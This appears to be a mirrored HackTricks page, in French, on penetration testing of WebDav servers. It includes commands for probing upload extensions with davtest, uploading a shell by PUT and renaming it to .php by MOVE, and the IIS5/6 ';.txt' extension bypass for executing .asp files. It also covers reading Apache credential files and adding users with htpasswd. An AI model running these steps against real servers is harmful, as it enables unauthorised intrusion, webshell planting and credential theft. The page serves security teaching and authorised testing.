mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
83 lines
4.1 KiB
Markdown
83 lines
4.1 KiB
Markdown
# WebDav
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Lorsqu'il s'agit d'un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les bonnes **informations d'identification**, généralement vérifiées par **HTTP Basic Authentication**. Prendre le contrôle d'un tel serveur implique souvent le **téléchargement et l'exécution d'un webshell**.
|
|
|
|
L'accès au serveur WebDav nécessite généralement des **informations d'identification valides**, le [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) étant une méthode courante pour les acquérir.
|
|
|
|
Pour contourner les restrictions sur les téléchargements de fichiers, en particulier celles empêchant l'exécution de scripts côté serveur, vous pourriez :
|
|
|
|
- **Télécharger** des fichiers avec des **extensions exécutables** directement si ce n'est pas restreint.
|
|
- **Renommer** des fichiers non exécutables téléchargés (comme .txt) en une extension exécutable.
|
|
- **Copier** des fichiers non exécutables téléchargés, en changeant leur extension en une extension exécutable.
|
|
|
|
## DavTest
|
|
|
|
**Davtest** essaie de **télécharger plusieurs fichiers avec différentes extensions** et **vérifie** si l'extension est **exécutée** :
|
|
```bash
|
|
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
|
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
|
```
|
|
.png>)
|
|
|
|
Cela ne signifie pas que les **extensions .txt** et **.html sont exécutées**. Cela signifie que vous pouvez **accéder à ces fichiers** via le web.
|
|
|
|
## Cadaver
|
|
|
|
Vous pouvez utiliser cet outil pour **vous connecter au serveur WebDav** et effectuer des actions (comme **télécharger**, **déplacer** ou **supprimer**) **manuellement**.
|
|
```
|
|
cadaver <IP>
|
|
```
|
|
## Requête PUT
|
|
```
|
|
curl -T 'shell.txt' 'http://$ip'
|
|
```
|
|
## Demande MOVE
|
|
```bash
|
|
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
|
```
|
|
## IIS5/6 WebDav Vulnerability
|
|
|
|
Cette vulnérabilité est très intéressante. Le **WebDav** ne **permet pas** de **télécharger** ou de **renommer** des fichiers avec l'extension **.asp**. Mais vous pouvez **contourner** cela en **ajoutant** à la fin du nom **";.txt"** et le fichier sera **exécuté** comme s'il s'agissait d'un fichier .asp (vous pourriez également **utiliser ".html" au lieu de ".txt"** mais **N'OUBLIEZ PAS le ";"**).
|
|
|
|
Ensuite, vous pouvez **télécharger** votre shell en tant que fichier ".**txt" et **le copier/déplacer dans un fichier ".asp;.txt"**. En accédant à ce fichier via le serveur web, il sera **exécuté** (cadaver dira que l'action de déplacement n'a pas fonctionné, mais c'est le cas).
|
|
|
|
.png>)
|
|
|
|
## Post credentials
|
|
|
|
Si le Webdav utilisait un serveur Apache, vous devriez regarder les sites configurés dans Apache. Communément :\
|
|
_**/etc/apache2/sites-enabled/000-default**_
|
|
|
|
À l'intérieur, vous pourriez trouver quelque chose comme :
|
|
```
|
|
ServerAdmin webmaster@localhost
|
|
Alias /webdav /var/www/webdav
|
|
<Directory /var/www/webdav>
|
|
DAV On
|
|
AuthType Digest
|
|
AuthName "webdav"
|
|
AuthUserFile /etc/apache2/users.password
|
|
Require valid-user
|
|
```
|
|
Comme vous pouvez le voir, il y a des fichiers avec les **credentials** valides pour le serveur **webdav** :
|
|
```
|
|
/etc/apache2/users.password
|
|
```
|
|
À l'intérieur de ce type de fichiers, vous trouverez le **nom d'utilisateur** et un **hash** du mot de passe. Ce sont les identifiants que le serveur webdav utilise pour authentifier les utilisateurs.
|
|
|
|
Vous pouvez essayer de **craquer** ces identifiants, ou d'**ajouter** d'autres si pour une raison quelconque vous souhaitez **accéder** au serveur **webdav** :
|
|
```bash
|
|
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
|
```
|
|
Pour vérifier si les nouveaux identifiants fonctionnent, vous pouvez faire :
|
|
```bash
|
|
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
|
|
```
|
|
## Références
|
|
|
|
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|